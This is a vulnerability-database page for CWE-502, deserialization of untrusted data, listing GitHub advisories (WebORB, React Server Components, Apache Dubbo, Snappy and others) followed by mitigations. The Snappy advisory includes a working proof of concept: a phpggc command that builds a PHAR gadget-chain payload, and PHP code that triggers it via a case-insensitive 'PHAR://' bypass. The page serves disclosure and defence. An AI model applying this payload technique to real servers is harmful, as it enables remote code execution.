Common Weakness Enumeration

CWE-502

Allowed

Deserialization of Untrusted Data

Abstraction: Base · Status: Draft

The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid.

4852 vulnerabilities reference this CWE, most recent first.

GHSA-9258-4RXH-QW5J

Vulnerability from github – Published: 2022-05-13 01:36 – Updated: 2022-05-13 01:36
VLAI
Details

The Java implementations of AMF3 deserializers in WebORB for Java by Midnight Coders, version 5.1.1.0, derive class instances from java.io.Externalizable rather than the AMF3 specification's recommendation of flash.utils.IExternalizable. A remote attacker with the ability to spoof or control an RMI server connection may be able to send serialized Java objects that execute arbitrary code when deserialized.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2017-3207"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-06-11T17:29:00Z",
    "severity": "CRITICAL"
  },
  "details": "The Java implementations of AMF3 deserializers in WebORB for Java by Midnight Coders, version 5.1.1.0, derive class instances from java.io.Externalizable rather than the AMF3 specification\u0027s recommendation of flash.utils.IExternalizable. A remote attacker with the ability to spoof or control an RMI server connection may be able to send serialized Java objects that execute arbitrary code when deserialized.",
  "id": "GHSA-9258-4rxh-qw5j",
  "modified": "2022-05-13T01:36:42Z",
  "published": "2022-05-13T01:36:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-3207"
    },
    {
      "type": "WEB",
      "url": "https://codewhitesec.blogspot.com/2017/04/amf.html"
    },
    {
      "type": "WEB",
      "url": "https://www.kb.cert.org/vuls/id/307983"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/97384"
    },
    {
      "type": "WEB",
      "url": "http://www.securityweek.com/flaws-java-amf-libraries-allow-remote-code-execution"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-925W-6V3X-G4J4

Vulnerability from github – Published: 2025-12-11 22:36 – Updated: 2025-12-11 22:36
VLAI
Summary
Source Code Exposure Vulnerability in React Server Components
Details

Impact

There is a source code exposure vulnerability in React Server Components.

React recommends updating immediately.

The vulnerability exists in versions 19.0.0, 19.0.1 19.1.0, 19.1.1, 19.1.2, 19.2.0 and 19.2.1 of:

These issues are present in the patches published last week.

Patches

Fixes were back ported to versions 19.0.2, 19.1.3, and 19.2.2.

If you are using any of the above packages please upgrade to any of the fixed versions immediately.

If your app’s React code does not use a server, your app is not affected by this vulnerability. If your app does not use a framework, bundler, or bundler plugin that supports React Server Components, your app is not affected by this vulnerability.

References

See the blog post for more information and upgrade instructions.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "react-server-dom-parcel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "19.0.0"
            },
            {
              "fixed": "19.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "react-server-dom-turbopack"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "19.0.0"
            },
            {
              "fixed": "19.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "react-server-dom-webpack"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "19.0.0"
            },
            {
              "fixed": "19.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "react-server-dom-parcel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "19.1.0"
            },
            {
              "fixed": "19.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "react-server-dom-parcel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "19.2.0"
            },
            {
              "fixed": "19.2.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "react-server-dom-turbopack"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "19.1.0"
            },
            {
              "fixed": "19.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "react-server-dom-turbopack"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "19.2.0"
            },
            {
              "fixed": "19.2.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "react-server-dom-webpack"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "19.1.0"
            },
            {
              "fixed": "19.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "react-server-dom-webpack"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "19.2.0"
            },
            {
              "fixed": "19.2.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-55183"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-497",
      "CWE-502"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-11T22:36:08Z",
    "nvd_published_at": "2025-12-11T20:16:00Z",
    "severity": "MODERATE"
  },
  "details": "## Impact\n\nThere is a source code exposure vulnerability in React Server Components.\n\nReact recommends updating immediately.\n\nThe vulnerability exists in versions 19.0.0, 19.0.1 19.1.0, 19.1.1, 19.1.2, 19.2.0 and 19.2.1 of:\n\n- [react-server-dom-webpack](https://www.npmjs.com/package/react-server-dom-webpack)\n- [react-server-dom-parcel](https://www.npmjs.com/package/react-server-dom-parcel)\n- [react-server-dom-turbopack](https://www.npmjs.com/package/react-server-dom-turbopack?activeTab=readme)\n\nThese issues are present in the patches published last week.\n\n## Patches\n\nFixes were back ported to versions 19.0.2, 19.1.3, and 19.2.2. \n\nIf you are using any of the above packages please upgrade to any of the fixed versions immediately.\n\nIf your app\u2019s React code does not use a server, your app is not affected by this vulnerability. If your app does not use a framework, bundler, or bundler plugin that supports React Server Components, your app is not affected by this vulnerability.\n\n## References\n\nSee the [blog post](https://react.dev/blog/2025/12/11/denial-of-service-and-source-code-exposure-in-react-server-components) for more information and upgrade instructions.",
  "id": "GHSA-925w-6v3x-g4j4",
  "modified": "2025-12-11T22:36:08Z",
  "published": "2025-12-11T22:36:08Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/facebook/react/security/advisories/GHSA-925w-6v3x-g4j4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55183"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/facebook/react"
    },
    {
      "type": "WEB",
      "url": "https://react.dev/blog/2025/12/11/denial-of-service-and-source-code-exposure-in-react-server-components"
    },
    {
      "type": "WEB",
      "url": "https://www.facebook.com/security/advisories/cve-2025-55183"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Source Code Exposure Vulnerability in React Server Components"
}

GHSA-9284-M2HP-CFP4

Vulnerability from github – Published: 2026-02-26 09:30 – Updated: 2026-02-26 15:30
VLAI
Details

Deserialization of Untrusted Data vulnerability in Stylemix uListing ulisting allows Object Injection.This issue affects uListing: from n/a through <= 2.2.0.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-28138"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-26T09:16:15Z",
    "severity": "HIGH"
  },
  "details": "Deserialization of Untrusted Data vulnerability in Stylemix uListing ulisting allows Object Injection.This issue affects uListing: from n/a through \u003c= 2.2.0.",
  "id": "GHSA-9284-m2hp-cfp4",
  "modified": "2026-02-26T15:30:30Z",
  "published": "2026-02-26T09:30:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28138"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/Wordpress/Plugin/ulisting/vulnerability/wordpress-ulisting-plugin-2-2-0-php-object-injection-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-92G9-MV36-R4J5

Vulnerability from github – Published: 2023-12-20 15:30 – Updated: 2026-04-28 21:33
VLAI
Details

Deserialization of Untrusted Data vulnerability in Themify Themify Ultra.This issue affects Themify Ultra: from n/a through 7.3.5.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-46147"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-12-20T14:15:20Z",
    "severity": "HIGH"
  },
  "details": "Deserialization of Untrusted Data vulnerability in Themify Themify Ultra.This issue affects Themify Ultra: from n/a through 7.3.5.",
  "id": "GHSA-92g9-mv36-r4j5",
  "modified": "2026-04-28T21:33:27Z",
  "published": "2023-12-20T15:30:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-46147"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/themify-ultra/wordpress-themify-ultra-theme-7-3-3-authenticated-php-object-injection-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-92HW-4JVJ-V9WW

Vulnerability from github – Published: 2022-05-14 01:35 – Updated: 2022-05-14 01:35
VLAI
Details

SAS Web Infrastructure Platform before 9.4M6 allows remote attackers to execute arbitrary code via a Java deserialization variant.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2018-20732"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-01-17T01:29:00Z",
    "severity": "CRITICAL"
  },
  "details": "SAS Web Infrastructure Platform before 9.4M6 allows remote attackers to execute arbitrary code via a Java deserialization variant.",
  "id": "GHSA-92hw-4jvj-v9ww",
  "modified": "2022-05-14T01:35:48Z",
  "published": "2022-05-14T01:35:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-20732"
    },
    {
      "type": "WEB",
      "url": "https://support.sas.com/kb/63/391.html"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/106648"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-92RV-4J2H-8MJJ

Vulnerability from github – Published: 2023-09-08 12:17 – Updated: 2023-10-10 05:29
VLAI
Summary
Snappy PHAR deserialization vulnerability
Details

Issue

On March 17th the vulnerability CVE-2023-28115 was disclosed, allowing an attacker to gain remote code execution through PHAR deserialization. To fix this issue, the version 1.4.2 was released with an additional check in the affected function to prevent the usage of the phar:// wrapper. However, because PHP wrappers are case-insensitive and the patch only checks the presence of the phar:// string, it can be bypassed to achieve remote code execution again using a different case.

As for the initial vulnerability, PHP 7 or below is required for a successful exploitation using the deserialization of PHP archives metadata via the phar:// wrapper.

Technical details

Description

The following patch was committed on the 1.4.2 release to fix CVE-2023-28115.

patch

If the user is able to control the second parameter of the generateFromHtml() function of Snappy, it will then be passed as the $filename parameter in the prepareOutput() function. In the original vulnerability, a file name with a phar:// wrapper could be sent to the fileExists() function, equivalent to the file_exists() PHP function. This allowed users to trigger a deserialization on arbitrary PHAR files.

To fix this issue, the string is now passed to the strpos() function and if it starts with phar://, an exception is raised. However, PHP wrappers being case insensitive, this patch can be bypassed using PHAR:// instead of phar://.

Proof of Concept

To illustrate the vulnerability, the /tmp/exploit file will be written to the filesystem using a voluntarily added library to trigger the deserialization. The PHP archive is generated using phpggc with the -f option to force a fast destruct on the object. Otherwise, the PHP flow will stop on the first exception and the object destruction will not be called.

$ phpggc -f Monolog/RCE1 exec 'touch /tmp/exploit' -p phar -o exploit.phar

The following index.php file will be used to trigger the vulnerability via the payload PHAR://exploit.phar.

<?php
// index.php

// include autoloader
require __DIR__ . '/vendor/autoload.php';

// reference the snappy namespace
use Knp\Snappy\Pdf;

$snappy = new Pdf('/usr/local/bin/wkhtmltopdf');
$snappy->generateFromHtml('<h1>POC</h1>', 'PHAR://exploit.phar');

Finally once executed, the /tmp/exploit file is successfully created on the filesystem.

$ php index.php 
Fatal error: Uncaught InvalidArgumentException: The output file 'PHAR://exploit.phar' already exists and it is a directory. in /var/www/vendor/knplabs/knp-snappy/src/Knp/Snappy/AbstractGenerator.php:634
Stack trace:
#0 /var/www/vendor/knplabs/knp-snappy/src/Knp/Snappy/AbstractGenerator.php(178): Knp\Snappy\AbstractGenerator->prepareOutput('PHAR://exploit.phar', false)
#1 /var/www/vendor/knplabs/knp-snappy/src/Knp/Snappy/Pdf.php(36): Knp\Snappy\AbstractGenerator->generate(Array, 'PHAR://exploit.phar', Array, false)
#2 /var/www/vendor/knplabs/knp-snappy/src/Knp/Snappy/AbstractGenerator.php(232): Knp\Snappy\Pdf->generate(Array, 'PHAR://exploit.phar', Array, false)
#3 /var/www/index.php(12): Knp\Snappy\AbstractGenerator->generateFromHtml('<h1>POC</h1>', 'PHAR://exploit.phar')
#4 {main}
  thrown in /var/www/vendor/knplabs/knp-snappy/src/Knp/Snappy/AbstractGenerator.php on line 634

$ ls -l /tmp/exploit
-rw-r--r-- 1 user_exploit user_exploit 0 Jun 14 10:05 exploit

This proof of concept is based on the original one published with CVE-2023-28115.

Impact

A successful exploitation of this vulnerability allows executing arbitrary code and accessing the underlying filesystem. The attacker must be able to upload a file and the server must be running a PHP version prior to 8.

Patches

Synacktiv recommends to use a whitelist instead of a blacklist. In this situation, only the wrappers http://, https:// or file:// be available on the function generateFromHtml().

Workarounds

Control user data submitted to the function AbstractGenerator->generate(...)

References

https://github.com/KnpLabs/snappy/security/advisories/GHSA-gq6w-q6wh-jggc

Credits

Rémi Matasse of Synacktiv (https://synacktiv.com/).

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.4.2"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "knplabs/knp-snappy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.4.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-41330"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-09-08T12:17:48Z",
    "nvd_published_at": "2023-09-06T18:15:09Z",
    "severity": "CRITICAL"
  },
  "details": "## Issue\n\nOn March 17th the vulnerability [CVE-2023-28115 was disclosed](https://github.com/KnpLabs/snappy/security/advisories/GHSA-gq6w-q6wh-jggc), allowing an attacker to gain remote code execution through PHAR deserialization. To fix this issue, the version 1.4.2 was released with an additional check in the affected function to prevent the usage of the `phar://` wrapper. However, because PHP wrappers are case-insensitive and the patch only checks the presence of the `phar://` string, it can be bypassed to achieve remote code execution again using a different case.\n\nAs for the initial vulnerability, PHP 7 or below is required for a successful exploitation using the deserialization of PHP archives metadata via the `phar://` wrapper.\n\n## Technical details\n\n### Description\n\nThe following [patch](https://github.com/KnpLabs/snappy/commit/1ee6360cbdbea5d09705909a150df7963a88efd6) was committed on the 1.4.2 release to fix CVE-2023-28115.\n\n![patch](https://user-images.githubusercontent.com/110113034/250088710-396f562d-d19e-43a5-a8f8-90ca1f7e3e98.png)\n\nIf the user is able to control the second parameter of the `generateFromHtml()` function of Snappy, it will then be passed as the `$filename` parameter in the `prepareOutput()` function. In the original vulnerability, a file name with a `phar://` wrapper could be sent to the `fileExists()` function, equivalent to the `file_exists()` PHP function. This allowed users to trigger a deserialization on arbitrary PHAR files.\n\nTo fix this issue, the string is now passed to the `strpos()` function and if it starts with `phar://`, an exception is raised. However, PHP wrappers being case insensitive, this patch can be bypassed using `PHAR://` instead of `phar://`.\n\n### Proof of Concept\n\nTo illustrate the vulnerability, the `/tmp/exploit` file will be written to the filesystem using a voluntarily added library to trigger the deserialization. The PHP archive is generated using [phpggc](https://github.com/ambionics/phpggc) with the `-f` option to force a fast destruct on the object. Otherwise, the PHP flow will stop on the first exception and the object destruction will not be called.\n\n```bash\n$ phpggc -f Monolog/RCE1 exec \u0027touch /tmp/exploit\u0027 -p phar -o exploit.phar\n```\nThe following `index.php` file will be used to trigger the vulnerability via the payload `PHAR://exploit.phar`.\n\n```bash\n\u003c?php\n// index.php\n\n// include autoloader\nrequire __DIR__ . \u0027/vendor/autoload.php\u0027;\n\n// reference the snappy namespace\nuse Knp\\Snappy\\Pdf;\n\n$snappy = new Pdf(\u0027/usr/local/bin/wkhtmltopdf\u0027);\n$snappy-\u003egenerateFromHtml(\u0027\u003ch1\u003ePOC\u003c/h1\u003e\u0027, \u0027PHAR://exploit.phar\u0027);\n```\nFinally once executed, the `/tmp/exploit` file is successfully created on the filesystem.\n\n```bash\n$ php index.php \nFatal error: Uncaught InvalidArgumentException: The output file \u0027PHAR://exploit.phar\u0027 already exists and it is a directory. in /var/www/vendor/knplabs/knp-snappy/src/Knp/Snappy/AbstractGenerator.php:634\nStack trace:\n#0 /var/www/vendor/knplabs/knp-snappy/src/Knp/Snappy/AbstractGenerator.php(178): Knp\\Snappy\\AbstractGenerator-\u003eprepareOutput(\u0027PHAR://exploit.phar\u0027, false)\n#1 /var/www/vendor/knplabs/knp-snappy/src/Knp/Snappy/Pdf.php(36): Knp\\Snappy\\AbstractGenerator-\u003egenerate(Array, \u0027PHAR://exploit.phar\u0027, Array, false)\n#2 /var/www/vendor/knplabs/knp-snappy/src/Knp/Snappy/AbstractGenerator.php(232): Knp\\Snappy\\Pdf-\u003egenerate(Array, \u0027PHAR://exploit.phar\u0027, Array, false)\n#3 /var/www/index.php(12): Knp\\Snappy\\AbstractGenerator-\u003egenerateFromHtml(\u0027\u003ch1\u003ePOC\u003c/h1\u003e\u0027, \u0027PHAR://exploit.phar\u0027)\n#4 {main}\n  thrown in /var/www/vendor/knplabs/knp-snappy/src/Knp/Snappy/AbstractGenerator.php on line 634\n  \n$ ls -l /tmp/exploit\n-rw-r--r-- 1 user_exploit user_exploit 0 Jun 14 10:05 exploit\n```\n\nThis proof of concept is based on the original one published with CVE-2023-28115.\n\n### Impact\n\nA successful exploitation of this vulnerability allows executing arbitrary code and accessing the underlying filesystem. The attacker must be able to upload a file and the server must be running a PHP version prior to 8.\n\n## Patches\nSynacktiv recommends to use a whitelist instead of a blacklist. In this situation, only the wrappers `http://`, `https://` or `file://` be available on the function `generateFromHtml()`.\n\n## Workarounds\nControl user data submitted to the function `AbstractGenerator-\u003egenerate(...)`\n\n## References\nhttps://github.com/KnpLabs/snappy/security/advisories/GHSA-gq6w-q6wh-jggc\n\n## Credits\nR\u00e9mi Matasse of Synacktiv (https://synacktiv.com/).\n",
  "id": "GHSA-92rv-4j2h-8mjj",
  "modified": "2023-10-10T05:29:07Z",
  "published": "2023-09-08T12:17:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/KnpLabs/snappy/security/advisories/GHSA-92rv-4j2h-8mjj"
    },
    {
      "type": "WEB",
      "url": "https://github.com/KnpLabs/snappy/security/advisories/GHSA-gq6w-q6wh-jggc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-41330"
    },
    {
      "type": "WEB",
      "url": "https://github.com/KnpLabs/snappy/commit/d3b742d61a68bf93866032c2c0a7f1486128b67e"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/knplabs/knp-snappy/CVE-2023-41330.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/KnpLabs/snappy"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-92rv-4j2h-8mjj"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Snappy PHAR deserialization vulnerability"
}

GHSA-933G-H2F6-JR9C

Vulnerability from github – Published: 2022-10-08 00:00 – Updated: 2022-10-11 19:00
VLAI
Details

In telephony, there is a possible escalation of privilege due to a parcel format mismatch. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: ALPS07319121; Issue ID: ALPS07319121.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-26471"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-10-07T20:15:00Z",
    "severity": "HIGH"
  },
  "details": "In telephony, there is a possible escalation of privilege due to a parcel format mismatch. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: ALPS07319121; Issue ID: ALPS07319121.",
  "id": "GHSA-933g-h2f6-jr9c",
  "modified": "2022-10-11T19:00:28Z",
  "published": "2022-10-08T00:00:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-26471"
    },
    {
      "type": "WEB",
      "url": "https://corp.mediatek.com/product-security-bulletin/October-2022"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-933G-V89R-X8PF

Vulnerability from github – Published: 2023-03-08 12:30 – Updated: 2023-03-14 19:59
VLAI
Summary
Apache Dubbo vulnerable to Deserialization of Untrusted Data
Details

A deserialization vulnerability existed when dubbo generic invoke, which could lead to malicious code execution. This issue affects Apache Dubbo 2.7.x version 2.7.21 and prior versions; Apache Dubbo 3.0.x version 3.0.13 and prior versions; Apache Dubbo 3.1.x version 3.1.5 and prior versions.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c 2.7.21"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.dubbo:dubbo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.7.22"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.dubbo:dubbo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.0.13"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.dubbo:dubbo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.1.0"
            },
            {
              "fixed": "3.1.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-23638"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-03-08T17:23:36Z",
    "nvd_published_at": "2023-03-08T11:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "A deserialization vulnerability existed when dubbo generic invoke, which could lead to malicious code execution. This issue affects Apache Dubbo 2.7.x version 2.7.21 and prior versions; Apache Dubbo 3.0.x version 3.0.13 and prior versions; Apache Dubbo 3.1.x version 3.1.5 and prior versions.",
  "id": "GHSA-933g-v89r-x8pf",
  "modified": "2023-03-14T19:59:10Z",
  "published": "2023-03-08T12:30:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-23638"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/8h6zscfzj482z512d2v5ft63hdhzm0cb"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Apache Dubbo vulnerable to Deserialization of Untrusted Data"
}

GHSA-933H-C422-J33J

Vulnerability from github – Published: 2026-02-18 15:31 – Updated: 2026-02-18 15:31
VLAI
Details

NVIDIA NeMo Framework contains a vulnerability where an attacker could cause remote code execution by loading a maliciously crafted file. A successful exploit of this vulnerability might lead to code execution, escalation of privileges, information disclosure, and data tampering.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-33241"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-18T14:16:02Z",
    "severity": "HIGH"
  },
  "details": "NVIDIA NeMo Framework contains a vulnerability where an attacker could cause remote code execution by loading a maliciously crafted file. A successful exploit of this vulnerability might lead to code execution, escalation of privileges, information disclosure, and data tampering.",
  "id": "GHSA-933h-c422-j33j",
  "modified": "2026-02-18T15:31:25Z",
  "published": "2026-02-18T15:31:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-33241"
    },
    {
      "type": "WEB",
      "url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5762"
    },
    {
      "type": "WEB",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-33241"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9342-C88M-74XW

Vulnerability from github – Published: 2022-05-24 17:48 – Updated: 2022-05-24 17:48
VLAI
Details

Zoho ManageEngine OpManager before 12.5.329 allows unauthenticated Remote Code Execution due to a general bypass in the deserialization class.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-3287"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-04-22T13:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Zoho ManageEngine OpManager before 12.5.329 allows unauthenticated Remote Code Execution due to a general bypass in the deserialization class.",
  "id": "GHSA-9342-c88m-74xw",
  "modified": "2022-05-24T17:48:08Z",
  "published": "2022-05-24T17:48:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-3287"
    },
    {
      "type": "WEB",
      "url": "https://www.manageengine.com/network-monitoring/help/read-me-complete.html#125329"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/164231/ManageEngine-OpManager-SumPDU-Java-Deserialization.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Architecture and Design Implementation

If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.

Mitigation
Implementation

When deserializing data, populate a new object rather than just deserializing. The result is that the data flows through safe input validation and that the functions are safe.

Mitigation
Implementation

Explicitly define a final object() to prevent deserialization.

Mitigation
Architecture and Design Implementation
  • Make fields transient to protect them from deserialization.
  • An attempt to serialize and then deserialize a class containing transient fields will result in NULLs where the transient data should be. This is an excellent way to prevent time, environment-based, or sensitive variables from being carried over and used improperly.
Mitigation
Implementation

Avoid having unnecessary types or gadgets (a sequence of instances and method invocations that can self-execute during the deserialization process, often found in libraries) available that can be leveraged for malicious ends. This limits the potential for unintended or unauthorized types and gadgets to be leveraged by the attacker. Add only acceptable classes to an allowlist. Note: new gadgets are constantly being discovered, so this alone is not a sufficient mitigation.

Mitigation
Architecture and Design Implementation

Employ cryptography of the data or code for protection. However, it's important to note that it would still be client-side security. This is risky because if the client is compromised then the security implemented on the client (the cryptography) can be bypassed.

Mitigation MIT-29
Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].

CAPEC-586: Object Injection

An adversary attempts to exploit an application by injecting additional, malicious content during its processing of serialized objects. Developers leverage serialization in order to convert data or state into a static, binary format for saving to disk or transferring over a network. These objects are then deserialized when needed to recover the data/state. By injecting a malformed object into a vulnerable application, an adversary can potentially compromise the application by manipulating the deserialization process. This can result in a number of unwanted outcomes, including remote code execution.